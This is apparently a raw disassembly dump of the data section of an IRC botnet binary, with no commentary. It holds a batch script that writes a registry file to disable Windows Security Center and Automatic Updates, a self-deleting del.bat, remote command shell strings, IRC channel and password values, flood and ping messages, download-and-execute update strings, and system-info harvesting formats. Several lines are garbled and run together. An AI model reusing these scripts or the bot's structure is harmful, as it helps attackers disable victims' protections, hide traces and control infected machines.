aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_4068C6+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_4068C6+52o
		align 10h
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_4068C6+45o
		align 10h
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_4068C6+38o
		align 10h
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_4068C6+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_4068C6+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_4068C6+Ao
		align 4
dword_42387C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_407553+2F2o
		dd 2029206Ch, 2BBBB02h
aDllTestComplet	db '  DLL test complete.',0
		align 10h
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_407553+2CCo
		align 4
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_407553+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_407553+264o
		align 10h
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_407553+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_407553+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_407553+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_407553+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_407553+160o
		align 10h
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_407553+12Co
		align 4
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_407553+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_407553+C4o
		align 4
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_407553+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_407553+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_407553+28o
		align 4
aSErrorSD_	db '%s Error: %s <%d>.',0
		align 10h
aMirc		db 'mIRC',0             ; DATA XREF: .nsp0:00407BA6o
					; sub_411035+18o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_407C23+1Co
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_407CC7+2o
aComspecCSS	db '%%comspec%% /c %s %s',0
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: .nsp0:00407D6Eo
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: .nsp0:00407D31o
		align 4
aCTempr_bat	db 'c:\tempr.bat',0     ; DATA XREF: sub_407E71+29o
		align 4
a@echoOffEchoRe	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_407E71+14o
		db 'Echo REGEDIT4>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT'
		db '\Parameters]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TransportBindName"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Share'
		db 'dAccess]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuaus'
		db 'erv]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\wscsvc]>>'
		db '%temp%\1.reg',0Dh,0Ah
		db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableDCOM"="N">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableRemoteConnect"="N">>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]>>'
		db '%temp%\1.reg',0Dh,0Ah
		db 'Echo "restrictanonymous"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Securi'
		db 'tyProviders\SCHANNEL\Protocols\PCT1.0\Server]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Enabled"=hex:00>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanma'
		db 'nserver\parameters]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AutoShareWks"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AutoShareServer"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip'
		db '\Parameters]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "NameServer"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "ForwardBroadcasts"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "IPEnableRouter"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Domain"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SearchList"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "UseDomainNameDevolution"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableICMPRedirect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DeadGWDetectDefault"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DontAddDefaultGatewayDefault"=dword:00000000>>%temp%\1.reg',0Dh
		db 0Ah
		db 'Echo "EnableSecurityFilters"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AllowUnqualifiedQuery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "PrioritizeRecordData"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TCP1320Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "KeepAliveTime"=dword:00023280>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "BcastQueryTimeout"=dword:000002ee>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "BcastNameQueryCount"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "CacheTimeout"=dword:0000ea60>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Size/Small/Medium/Large"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "LargeBufferSize"=dword:00001000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SynAckProtect"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "PerformRouterDiscovery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnablePMTUBHDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FastSendDatagramThreshold "=dword:00000400>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "StandardAddressLength "=dword:00000018>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultReceiveWindow "=dword:00004000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultSendWindow"=dword:00004000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "BufferMultiplier"=dword:00000200>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "PriorityBoost"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "IrpStackSize"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "IgnorePushBitOnReceives"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisableAddressSharing"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AllowUserRawAccess"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisableRawSecurity"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DynamicBacklogGrowthDelta"=dword:00000032>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FastCopyReceiveThreshold"=dword:00000400>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "LargeBufferListDepth"=dword:0000000a>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxActiveTransmitFileCount"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxFastTransmit"=dword:00000040>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "OverheadChargeGranularity"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SmallBufferListDepth"=dword:00000020>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SmallerBufferSize"=dword:00000080>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TransmitWorker"=dword:00000020>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DNSQueryTimeouts" =hex(7):31,00,00,00,32,00,00,00,32,00,00,'
		db '00,34,00,00,00,38,00,00,00,30,00,00,00,00,00>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultRegistrationTTL"=dword:00000014>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisableReplaceAddressesInConflicts"=dword:00000000>>%temp%\'
		db '1.reg',0Dh,0Ah
		db 'Echo "DisableReverseAddressRegistrations"=dword:00000001>>%temp%\'
		db '1.reg',0Dh,0Ah
		db 'Echo "UpdateSecurityLevel "=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisjointNameSpace"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "QueryIpMatching"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "NoNameReleaseOnDemand"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableDeadGWDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableFastRouteLookup"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxFreeTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxHashTableSize"=dword:00000800>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SackOpts"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Tcp1323Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpMaxDupAcks"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpRecvSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpSendSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultTTL"=dword:00000030>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpMaxHalfOpen"=dword:0000004b>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpMaxHalfOpenRetried"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpTimedWaitDelay"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxNormLookupMemory"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FFPControlFlags"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FFPFastForwardingCacheSize"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxFreeTWTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "GlobalMaxTcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnablePMTUDiscovery"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "ForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersio'
		db 'n\Internet Settings]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxConnectionsPer1_0Server"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxConnectionsPerServer"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'START /WAIT REGEDIT /S %temp%\1.reg',0Dh,0Ah
		db 'DEL %temp%\1.reg',0Dh,0Ah
		db 'DEL %0',0Dh,0Ah,0
		align 4
unk_4251DC	db    2			; DATA XREF: sub_407F67:loc_408026o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aNotSupportedBy	db '  Not supported by this system.',0
		align 10h
unk_425220	db    2			; DATA XREF: sub_407F67:loc_407FF4o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUnableToAlloca	db '  Unable to allocation ARP cache.',0
		align 4
unk_425264	db    2			; DATA XREF: sub_407F67:loc_407FC0o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aArpCacheIsEmpt	db '  ARP cache is empty.',0
		align 4
unk_42529C	db    2			; DATA XREF: sub_407F67+49o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorGettingAr	db '  Error getting ARP cache: <%d>.',0
		align 10h
unk_4252E0	db    2			; DATA XREF: sub_4080EB+13Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 69h,	6Eh, 67h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFinishedSendin	db '  Finished sending pings to %s.',0
		align 10h
unk_425320	db    2			; DATA XREF: sub_4080EB+6Eo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 69h,	6Eh, 67h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSendingPi	db '  Error sending pings to %s.',0
		align 4
dword_42535C	dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
					; DATA XREF: .nsp0:0040843Do
		dd 2029206Ch, 2BBBB02h
aFinishedSend_0	db '  Finished sending packets to %s.',0
		align 4
dword_42539C	dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
					; DATA XREF: .nsp0:00408305o
		dd 2029206Ch, 2BBBB02h
aErrorSending_1	db '  Error sending pings to %s.',0
		align 4
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_4084F5+33o
		dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
		dd 2029206Ch, 2BBBB02h
aCouldNotReadDa	db '  Could not read data from proccess.',0Dh,0Ah,0
		align 4
dword_42542C	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: .nsp0:0040868Bo
		dd 2029206Ch, 2BBBB02h
aProccessHasTer	db '  Proccess has terminated.',0Dh,0Ah,0
		align 4
dword_425468	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: .nsp0:loc_408662o
		dd 2029206Ch, 2BBBB02h
aCouldNotRead_0	db '  Could not read data from proccess',0Dh,0Ah,0
		align 4
		dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
		dd 2029206Ch, 2BBBB02h
aFailedToStartI	db '  Failed to start IO thread, error: <%d>.',0
		align 4
		dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
		dd 2029206Ch, 2BBBB02h
aRemoteCommandP	db '  Remote Command Prompt',0
aCmd_exe	db 'cmd.exe',0
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_408886+52o
aSysinfoCpuI64u	db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:'
		db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:'
		db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:'
		db ' %s. [Uptime]: %s.',0
		align 4
aDdMmmYyyy	db 'dd:MMM:yyyy',0      ; DATA XREF: .nsp0:00408B38o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_4089A5:loc_408B09o
		align 4
word_425638	dw 3Fh			; DATA XREF: sub_4089A5:loc_408AA7r
					; sub_409703+1Fo
		align 4
dword_42563C	dd 28207325h, 297325hdword_425644	dd 3F3F3Fh						; .nsp0:loc_410FE6o
a2003		db '2003',0             ; DATA XREF: sub_4089A5+BAo
					; .nsp0:00425E4Co ...
		align 10h
aXp		db 'XP',0               ; DATA XREF: sub_4089A5+AAo
					; .nsp0:00410FD1o
		align 4
a2k		db '2K',0               ; DATA XREF: sub_4089A5+98o
					; .nsp0:00410FC1o
		align 4
aMe		db 'ME',0               ; DATA XREF: sub_4089A5+7Eo
					; .nsp0:00410FA8o
		align 4
a98		db '98',0               ; DATA XREF: sub_4089A5+6Co
					; .nsp0:00410F98o
		align 10h
aNt		db 'NT',0               ; DATA XREF: sub_4089A5+5Ao
					; .nsp0:00410F88o
		align 4
a95		db '95',0               ; DATA XREF: sub_4089A5+46o
					; .nsp0:00410F7Ao
		align 4
aNetinfoTypeSS_	db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0
					; DATA XREF: sub_408C59+ABo
		align 4
off_4256A8	dd offset off_412F4C+2	; DATA XREF: sub_408C59:loc_408CCDo
dword_4256AC	dd 4E414Ch	dword_4256B0	dd 6C616944h, 70752Dhdword_4256B8	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64hdword_4256C8	dd 202E6425h, 3D207325h, 732520hdword_4256D4	dd 6C415B2Dh, 20736169h, 7473694Ch, 2D5Dha_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_408E17+60o
		align 4
dword_425708	dd 2C353103h, 6E653431h, 6230317Ah, 2E320320h, 3103202Eh
					; DATA XREF: sub_408EB7+1Ao
		dd 6F6C2835h, 32037367h, 3531032Eh, 29646F6Dh, 0BB320320h
		dd 20353103h, 656C4320h, 64657261h, 2Eh
dword_425740	dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
					; DATA XREF: sub_408EF7+DCo
		dd 2029206Ch, 2BBBB02h,	694C2020h, 63207473h, 6C706D6Fh
		dd 2E657465h, 0
dword_425770	dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
					; DATA XREF: sub_408EF7+3Fo
		dd 2029206Ch, 2BBBB02h,	65422020h, 6E6967h, 0
dword_425798	dd 78h				align 10h
dword_4257A0	dd 80000002h, 425C24h, 80000002h, 425C54h, 80000001h, 425C8Ch
					; DATA XREF: sub_409026+7o
unk_4257B8	db    2			; DATA XREF: sub_409026+63o
					; .nsp0:004095EEo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aBadUrlOrDnsErr	db '  Bad URL, or DNS Error: %s.',0
		align 4
unk_4257F8	db    2			; DATA XREF: .nsp0:004095E0o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUpdateFailedEr	db '  Update failed: Error executing file: %s.',0
unk_425844	db    2			; DATA XREF: .nsp0:00409524o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloaded_1fk	db '  Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0
		align 4
dword_425898	dd 28026502h, 62302E31h, 20282029h, 6E776F64h, 64616F6Ch
					; DATA XREF: .nsp0:004094B3o
		dd 641F6D2Eh, 29206C1Fh, 0BBBB0220h, 4F202002h,	656E6570h
		dd 25203A64h, 2E73h
aOpen		db 'open',0             ; DATA XREF: .nsp0:00409491o
					; .nsp0:0040C959o ...
		align 10h
unk_4258D0	db    2			; DATA XREF: .nsp0:0040943Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloaded_1fK	db '  Downloaded %.1f KB to %s @ %.1f KB/sec.',0
		align 4
unk_42591C	db    2			; DATA XREF: .nsp0:004093BDo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCrcFailedDD_	db '  CRC Failed (%d != %d).',0
		align 4
unk_425958	db    2			; DATA XREF: .nsp0:00409333o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFilesizeIsInco	db '  Filesize is incorrect: (%d != %d).',0
		align 10h
unk_4259A0	db    2			; DATA XREF: .nsp0:004092F0o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUpdateSDkbTran	db '  Update: %s (%dKB transferred).',0
		align 4
unk_4259E4	db    2			; DATA XREF: .nsp0:004092DEo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFileDownloadSD	db '  File download: %s (%dKB transferred).',0
		align 10h
unk_425A30	db    2			; DATA XREF: .nsp0:004091D2o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCouldnTOpenFil	db '  Couldn',27h,'t open file: %s.',0
		align 4
aUnknown	db 'Unknown',0          ; DATA XREF: sub_409703:loc_409746o
					; sub_4102CC+104o
aInvalid	db 'Invalid',0          ; DATA XREF: sub_409703:loc_409740o
aDisk		db 'Disk',0             ; DATA XREF: sub_409703:loc_40973Ao
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_409703:loc_409734o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_409703:loc_40972Eo
		align 4
aRam		db 'RAM',0              ; DATA XREF: sub_409703:loc_409728o
aFailed		db 'failed',0           ; DATA XREF: sub_409794:loc_40986Co
					; sub_4098AF+3Bo
		align 10h
aSkb		db '%sKB',0             ; DATA XREF: sub_409794+6Bo
		align 4
dword_425AA8	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_4098AF+8Eo
		dd 2029206Ch, 2BBBB02h
aSDriveSSTotalS	db '  %s Drive (%s): %s total, %s free, %s available.',0
		align 4
dword_425AF8	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_4098AF+58o
		dd 2029206Ch, 2BBBB02h
aSDriveSFailedT	db '  %s Drive (%s): Failed to stat, device not ready.',0
		align 4
aA_0		db 'A:\',0              ; DATA XREF: sub_409981:loc_4099C6o
dword_425B4C	dd 1A0Bh						; .nsp0:00409FC6r
dword_425B50	dd 1A0Bh			dd 1AA6h
dword_425B58	dd 0CCEh	dword_425B5C	dd 158Dh						; .nsp0:loc_40ED0Er
dword_425B60	dd 1		dword_425B64	dd 1		dword_425B68	dd 1							; .nsp0:loc_409E2Ar
byte_425B6C	db 78h			; DATA XREF: .nsp0:loc_409659r
					; .nsp0:0040A9EDr ...
		align 10h
dword_425B70	dd 9							; sub_410D6D+51r ...
dword_425B74	dd 1							; .nsp0:0040A5B5r ...
aIds4473	db 'ids4473',0          ; DATA XREF: .nsp0:00409B58o
					; .nsp0:0040DC33o ...
aEnz9_9b34	db 'enz 9.9b34',0       ; DATA XREF: .nsp0:loc_40F67Co
		align 4
aHi		db 'hi',0               ; DATA XREF: .nsp0:0040F826o
					; .nsp0:0040F8F5o
		align 10h
a1068346466	db '1068346466',0       ; DATA XREF: .nsp0:00409EFEo
					; .nsp0:00409FB7o
		align 4
aCc		db '#cc',0              ; DATA XREF: .nsp0:00409F1Fo
					; .nsp0:00409FCDo
aDcpass		db 'dcpass',0           ; DATA XREF: .nsp0:00409F36o
					; .nsp0:00409FDFo
		align 4
byte_425BA8	db 31h			; DATA XREF: .nsp0:loc_409FF5r
					; .nsp0:0040A003o
a068346466	db '068346466',0
		align 4
aCc_0		db '#cc',0              ; DATA XREF: .nsp0:0040A019o
aDcpass_0	db 'dcpass',0           ; DATA XREF: .nsp0:0040A02Bo
		align 10h
